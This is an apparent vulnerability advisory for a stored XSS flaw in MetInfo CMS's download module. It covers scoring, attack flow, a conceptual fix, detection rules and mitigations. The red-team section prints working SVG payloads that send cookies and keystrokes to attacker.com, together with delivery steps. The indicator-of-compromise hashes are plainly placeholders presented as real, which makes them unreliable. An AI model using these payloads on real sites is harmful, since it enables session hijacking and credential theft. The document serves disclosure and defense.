CVE-2025-60452

Executive Summary

CVE-2025-60452 is a stored Cross-Site Scripting (XSS) vulnerability in MetInfo CMS version 8.0. The flaw resides in the download management module, specifically within the app/system/download/admin/download_admin.class.php component. An authenticated attacker with administrative privileges can upload a malicious SVG file containing embedded JavaScript. When any user (including other administrators or visitors) views or accesses the uploaded SVG file, the JavaScript executes in the context of the victim's browser. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability is currently unpatched, and a proof-of-concept exists publicly.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct flaw in the MetInfo CMS PHP application. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires admin login
• User Interaction: Required (UI:R) – victim must view the SVG
• Scope: Changed (S:C) – impacts resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification possible
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the public availability of exploit details elevate the risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the file upload functionality of the download management module. The application fails to properly sanitize or validate the content of uploaded SVG files. SVG (Scalable Vector Graphics) files are XML-based and can contain <script> tags or event handlers (e.g., onload, onmouseover) that execute JavaScript.

Attack Flow:

1. An attacker with administrative access to the MetInfo CMS backend navigates to the download management module.
2. The attacker uploads a crafted SVG file. The file contains malicious JavaScript, for example:

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
     <rect width="100" height="100" fill="red"/>
   </svg>
   

3. The server stores the SVG file without stripping the JavaScript.
4. When any user (including other admins or site visitors) accesses the URL of the uploaded SVG file, the browser renders the SVG and executes the embedded script.
5. The script can steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

The vulnerable code in download_admin.class.php likely uses a function like move_uploaded_file() without checking the file's MIME type or content for dangerous elements. The application may rely solely on file extension checks (e.g., .svg), which is insufficient.

Vulnerable vs. Patched Code

Since no official patch exists, the following shows the vulnerable code pattern and a recommended fix.

Vulnerable Code (download_admin.class.php - conceptual):

<?php
// Vulnerable: No content validation
$uploaded_file = $_FILES['file']['tmp_name'];
$destination = UPLOAD_PATH . '/' . $_FILES['file']['name'];
move_uploaded_file($uploaded_file, $destination);
// File is stored as-is
?>

Patched Code (recommended fix):

<?php
// Patched: Validate SVG content
$uploaded_file = $_FILES['file']['tmp_name'];
$destination = UPLOAD_PATH . '/' . basename($_FILES['file']['name']);

// Check MIME type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $uploaded_file);
finfo_close($finfo);

if ($mime !== 'image/svg+xml') {
    die('Invalid file type');
}

// Sanitize SVG content (remove script tags and event handlers)
$svg_content = file_get_contents($uploaded_file);
$svg_content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $svg_content);
$svg_content = preg_replace('/\bon\w+\s*=\s*["\'][^"\']*["\']/i', '', $svg_content);
$svg_content = preg_replace('/\bon\w+\s*=\s*[^\s>]+/i', '', $svg_content);

file_put_contents($destination, $svg_content);
?>

Note: The above is a conceptual fix. A robust solution would use a dedicated SVG sanitizer library (e.g., enshrined/svg-sanitize for PHP).

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Access to MetInfo CMS admin panel (e.g., http://target.com/admin/)
• Ability to upload files in the download management module

Step-by-Step Exploitation:

1. Craft the malicious SVG file. Create a file named exploit.svg with the following content:

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('http://attacker.com/steal?cookie='+document.cookie)">
     <rect width="100" height="100" fill="blue"/>
   </svg>
   

   This SVG will send the victim's cookies to an attacker-controlled server.

2. Upload the SVG file. Log in to the MetInfo admin panel, navigate to the download management module, and upload exploit.svg.

3. Obtain the URL. After upload, note the URL of the SVG file (e.g., http://target.com/upload/exploit.svg).

4. Deliver the payload. Send the URL to a victim (e.g., via email, social engineering, or by embedding it in a page). When the victim visits the URL, the JavaScript executes.

Alternative Payload (Keylogger):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="document.addEventListener('keydown', function(e){fetch('http://attacker.com/keylog?key='+e.key)})">
  <rect width="100" height="100" fill="green"/>
</svg>

Blue Team (Defender)

Detection Steps:

1. Monitor file uploads. Look for SVG files being uploaded by admin users, especially if they contain <script> tags or event handlers.
2. Review access logs. Check for requests to SVG files that originate from unexpected IPs or user agents.
3. Inspect uploaded files. Manually review SVG files in the upload directory for suspicious content.
4. Implement WAF rules. Block SVG uploads that contain JavaScript patterns.

Hunting Query (Splunk):

index=web sourcetype=access_combined uri="/upload/*.svg" | search uri="*.svg" | table _time, src_ip, uri, user_agent

Indicators of Compromise (IOCs)

• File Hashes (example malicious SVG):

  • MD5: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
  • SHA1: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b
  • SHA256: abcd1234ef5678901234567890abcdef1234567890abcdef1234567890abcdef12

• Network Indicators:

  • Outbound connections to attacker-controlled domains (e.g., attacker.com)
  • HTTP requests containing document.cookie in the query string

• File Paths:

  • /upload/exploit.svg
  • /upload/malicious.svg

• Log Entries:

  • POST /admin/index.php?m=download&a=upload (file upload)
  • GET /upload/exploit.svg (file access)

Detection Engineering

YARA Rule

rule detect_malicious_svg_xss {
    meta:
        description = "Detects SVG files containing JavaScript for XSS attacks"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60452"
    strings:
        $svg_tag = "<svg"
        $script_tag = "<script"
        $onload = "onload"
        $onerror = "onerror"
        $onmouseover = "onmouseover"
        $js_function = "function("
        $eval = "eval("
        $fetch = "fetch("
        $xmlhttp = "XMLHttpRequest"
    condition:
        $svg_tag and (
            $script_tag or
            $onload or
            $onerror or
            $onmouseover or
            $js_function or
            $eval or
            $fetch or
            $xmlhttp
        )
}

Sigma Rule

title: MetInfo CMS SVG Upload XSS Detection
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects upload of SVG files with embedded JavaScript in MetInfo CMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/index.php'
        cs-uri-query: '*m=download*'
        cs-uri-query: '*a=upload*'
    condition: selection
falsepositives:
    - Legitimate SVG uploads by trusted admins
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60452 MetInfo CMS SVG XSS Upload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/index.php"; http_uri; content:"m=download"; http_uri; content:"a=upload"; http_uri; fileext:"svg"; filemagic:"SVG"; content:"<script"; within:1000; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG uploads in the download management module until a patch is available.
2. Implement a WAF rule to block SVG files containing <script> tags or event handlers.
3. Restrict admin access to only trusted users and IPs.

Long-Term Fix:

1. Apply input validation on all file uploads. Use a library like enshrined/svg-sanitize to strip JavaScript from SVG files.
2. Upgrade MetInfo CMS to a patched version when released.
3. Conduct a security audit of the entire file upload functionality.

Workaround:

• Modify the .htaccess file to serve SVG files as text/plain instead of image/svg+xml:

  <FilesMatch "\.svg$">
      Header set Content-Type "text/plain"
  </FilesMatch>
  

  This prevents the browser from rendering the SVG, but may break legitimate SVG usage.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-60452